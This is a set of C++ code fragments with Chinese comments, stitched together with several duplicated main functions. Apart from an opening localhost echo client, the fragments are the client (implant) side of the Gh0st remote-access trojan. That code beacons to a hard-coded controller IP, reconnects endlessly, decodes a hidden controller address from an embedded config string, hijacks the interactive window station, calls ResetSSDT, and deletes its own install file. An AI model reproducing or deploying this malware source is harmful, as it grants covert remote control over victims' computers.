int main() { CClientSocket Client; // Create the socket to communicate with the Server if (!Client.Create(AF_INET, SOCK_STREAM)) { cout << "Failed to create socket\n" ; return 0; } // Connect to the server if (SOCKET_ERROR == Client.Connect("127.0.0.1", "3000")) { cout << "Failed to connect to server. Was it running?\n"; return 0; } cout << "Connected to server.\n"; cout << "Type data to send, type quit to exit\n"; // Monitor the client socket for network events, such as data ready to receive Client.StartEvents(); // Send data to the server string s; for (;;) { // Infinite loop getline(cin, s); if (s == "quit") break; int i = Client.Send(s.c_str(), (int)s.length(), 0); cout << "Sending " << i << " characters\n"; } return 0; }
UINT WINAPI Loop_FileManager(void* managerHandle) { CClientSocket socketClient; if (!socketClient.Connect(CKernelManager::m_ServerHost, CKernelManager::m_ServerPort)) return -1; CFileManager manager(&socketClient,(DWORD)managerHandle); socketClient.run_event_loop(); return 0; }
int main() { // 开机自动启动 // CBaseSet bs; // bs.SetRun(); string ServerIp; u_short ServerPort = 9527; ServerIp = "183.184.228.68"; HANDLE hEvent = NULL; CClientSocket socketClient; DWORD dwIOCPEvent; while(TRUE) { if (!socketClient.Connect(ServerIp,ServerPort)) { Sleep(3*60*1000); continue; } CKernelManager manager(&socketClient,const_cast<char*>(ServerIp.c_str()),ServerPort); manager.sendLoginInfo(); socketClient.setManagerCallBack(&manager); Sleep(1000); do { hEvent = OpenEvent(EVENT_ALL_ACCESS, false, NULL); dwIOCPEvent = WaitForSingleObject(socketClient.m_hEvent, 100); Sleep(500); } while(hEvent == NULL && dwIOCPEvent != WAIT_OBJECT_0); if (hEvent != NULL) { socketClient.Disconnect(); CloseHandle(hEvent); } } return 0; }
DWORD WINAPI main(char *lpServiceName) { char strServiceName[256]; char strKillEvent[50]; HANDLE hInstallMutex = NULL; ////////////////////////////////////////////////////////////////////////// // Set Window Station strcpy(g_strHost,g_myAddress.strIP); g_dwPort=g_myAddress.nPort; //--这里是同窗口交互 HWINSTA hOldStation = GetProcessWindowStation(); HWINSTA hWinSta = OpenWindowStation("winsta0", FALSE, MAXIMUM_ALLOWED); if (hWinSta != NULL) SetProcessWindowStation(hWinSta); // ////////////////////////////////////////////////////////////////////////// //--这里判断CKeyboardManager::g_hInstance是否为空 如果不为空则开启错误处理 //--这里要在dllmain中为CKeyboardManager::g_hInstance赋值 if (CKeyboardManager::g_hInstance != NULL) { SetUnhandledExceptionFilter(bad_exception); //这里就是错误处理的回调函数了 lstrcpy(strServiceName, lpServiceName); wsprintf(strKillEvent, "Global\\Gh0st %d", GetTickCount()); // 随机事件名 hInstallMutex = CreateMutex(NULL, true, g_strHost); //ReConfigService(strServiceName); //--lang-- // 删除安装文件 // DeleteInstallFile(lpServiceName); //--lang-- } // 告诉操作系统:如果没有找到CD/floppy disc,不要弹窗口吓人 SetErrorMode( SEM_FAILCRITICALERRORS); char *lpszHost = NULL; DWORD dwPort = 80; char *lpszProxyHost = NULL; DWORD dwProxyPort = 0; char *lpszProxyUser = NULL; char *lpszProxyPass = NULL; HANDLE hEvent = NULL; //---这里声明了一个 CClientSocket类 CClientSocket socketClient; BYTE bBreakError = NOT_CONNECT; // 断开连接的原因,初始化为还没有连接 //--这里判断是否连接成功如果不成功则继续向下 while (1) { // 如果不是心跳超时,不用再sleep两分钟 if (bBreakError != NOT_CONNECT && bBreakError != HEARTBEATTIMEOUT_ERROR) { // 2分钟断线重连, 为了尽快响应killevent for (int i = 0; i < 2000; i++) { hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent); if (hEvent != NULL) { socketClient.Disconnect(); CloseHandle(hEvent); break; break; } // 改一下 Sleep(60); } } //上线地址 lpszHost = g_strHost; dwPort = g_dwPort; if (lpszProxyHost != NULL) socketClient.setGlobalProxyOption(PROXY_SOCKS_VER5, lpszProxyHost, dwProxyPort, lpszProxyUser, lpszProxyPass); else socketClient.setGlobalProxyOption(); DWORD dwTickCount = GetTickCount(); //---调用Connect函数向主控端发起连接 OutputDebugString(lpszHost); if (!socketClient.Connect(lpszHost, dwPort)) { bBreakError = CONNECT_ERROR; //---连接错误跳出本次循环 continue; } // 登录 DWORD dwExitCode = SOCKET_ERROR; sendLoginInfo(strServiceName, &socketClient, GetTickCount() - dwTickCount); //---注意这里连接成功后声明了一个CKernelManager 到CKernelManager类查看一下 CKernelManager manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort); socketClient.setManagerCallBack(&manager); ////////////////////////////////////////////////////////////////////////// // 等待控制端发送激活命令,超时为10秒,重新连接,以防连接错误 for (int i = 0; (i < 10 && !manager.IsActived()); i++) { Sleep(1000); } // 10秒后还没有收到控制端发来的激活命令,说明对方不是控制端,重新连接 if (!manager.IsActived()) continue; ////////////////////////////////////////////////////////////////////////// DWORD dwIOCPEvent; dwTickCount = GetTickCount(); do { hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent); dwIOCPEvent = WaitForSingleObject(socketClient.m_hEvent, 100); Sleep(500); } while(hEvent == NULL && dwIOCPEvent != WAIT_OBJECT_0); if (hEvent != NULL) { socketClient.Disconnect(); CloseHandle(hEvent); break; } } #ifdef _DLL ////////////////////////////////////////////////////////////////////////// // Restor WindowStation and Desktop // 不需要恢复卓面,因为如果是更新服务端的话,新服务端先运行,此进程恢复掉了卓面,会产生黑屏 // SetProcessWindowStation(hOldStation); // CloseWindowStation(hWinSta); // ////////////////////////////////////////////////////////////////////////// #endif SetErrorMode(0); ReleaseMutex(hInstallMutex); CloseHandle(hInstallMutex); }
DWORD WINAPI main(char *lpServiceName) #endif { #ifdef _CONSOLE if (argc < 3) { printf("Usage:\n %s <Host> <Port>\n", argv[0]); return -1; } #endif // lpServiceName,在ServiceMain返回后就没有了 char strServiceName[256]; char strKillEvent[50]; HANDLE hInstallMutex = NULL; #ifdef _DLL char *lpURL = (char *)FindConfigString(CKeyboardManager::g_hInstance, "AAAAAA"); if (lpURL == NULL) { return -1; } ////////////////////////////////////////////////////////////////////////// // Set Window Station HWINSTA hOldStation = GetProcessWindowStation(); HWINSTA hWinSta = OpenWindowStation("winsta0", FALSE, MAXIMUM_ALLOWED); if (hWinSta != NULL) SetProcessWindowStation(hWinSta); // ////////////////////////////////////////////////////////////////////////// if (CKeyboardManager::g_hInstance != NULL) { SetUnhandledExceptionFilter(bad_exception); ResetSSDT(); lstrcpy(strServiceName, lpServiceName); wsprintf(strKillEvent, "Global\\Gh0st %d", GetTickCount()); // 随机事件名 hInstallMutex = CreateMutex(NULL, true, lpURL); ReConfigService(strServiceName); // 删除安装文件 DeleteInstallFile(lpServiceName); } // http://hi.baidu.com/zxhouse/blog/item/dc651c90fc7a398fa977a484.html #endif // 告诉操作系统:如果没有找到CD/floppy disc,不要弹窗口吓人 SetErrorMode( SEM_FAILCRITICALERRORS); char *lpszHost = NULL; DWORD dwPort = 80; char *lpszProxyHost = NULL; DWORD dwProxyPort = 0; char *lpszProxyUser = NULL; char *lpszProxyPass = NULL; HANDLE hEvent = NULL; CClientSocket socketClient; BYTE bBreakError = NOT_CONNECT; // 断开连接的原因,初始化为还没有连接 while (1) { // 如果不是心跳超时,不用再sleep两分钟 if (bBreakError != NOT_CONNECT && bBreakError != HEARTBEATTIMEOUT_ERROR) { // 2分钟断线重连, 为了尽快响应killevent for (int i = 0; i < 2000; i++) { hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent); if (hEvent != NULL) { socketClient.Disconnect(); CloseHandle(hEvent); break; break; } // 改一下 Sleep(60); } } #ifdef _DLL // 上线间隔为2分, 前6个'A'是标志 if (!getLoginInfo(MyDecode(lpURL + 6), &lpszHost, &dwPort, &lpszProxyHost, &dwProxyPort, &lpszProxyUser, &lpszProxyPass)) { bBreakError = GETLOGINFO_ERROR; continue; } #else lpszHost = argv[1]; dwPort = atoi(argv[2]); #endif if (lpszProxyHost != NULL) socketClient.setGlobalProxyOption(PROXY_SOCKS_VER5, lpszProxyHost, dwProxyPort, lpszProxyUser, lpszProxyPass); else socketClient.setGlobalProxyOption(); DWORD dwTickCount = GetTickCount(); if (!socketClient.Connect(lpszHost, dwPort)) { bBreakError = CONNECT_ERROR; continue; } // 登录 DWORD dwExitCode = SOCKET_ERROR; sendLoginInfo(strServiceName, &socketClient, GetTickCount() - dwTickCount); CKernelManager manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort); socketClient.setManagerCallBack(&manager); ////////////////////////////////////////////////////////////////////////// // 等待控制端发送激活命令,超时为10秒,重新连接,以防连接错误 for (int i = 0; (i < 10 && !manager.IsActived()); i++) { Sleep(1000); } // 10秒后还没有收到控制端发来的激活命令,说明对方不是控制端,重新连接 if (!manager.IsActived()) continue; ////////////////////////////////////////////////////////////////////////// DWORD dwIOCPEvent; dwTickCount = GetTickCount(); do { hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent); dwIOCPEvent = WaitForSingleObject(socketClient.m_hEvent, 100); Sleep(500); } while(hEvent == NULL && dwIOCPEvent != WAIT_OBJECT_0); if (hEvent != NULL) { socketClient.Disconnect(); CloseHandle(hEvent); break; } } #ifdef _DLL ////////////////////////////////////////////////////////////////////////// // Restor WindowStation and Desktop // 不需要恢复卓面,因为如果是更新服务端的话,新服务端先运行,此进程恢复掉了卓面,会产生黑屏 // SetProcessWindowStation(hOldStation); // CloseWindowStation(hWinSta); // ////////////////////////////////////////////////////////////////////////// #endif SetErrorMode(0); ReleaseMutex(hInstallMutex); CloseHandle(hInstallMutex); }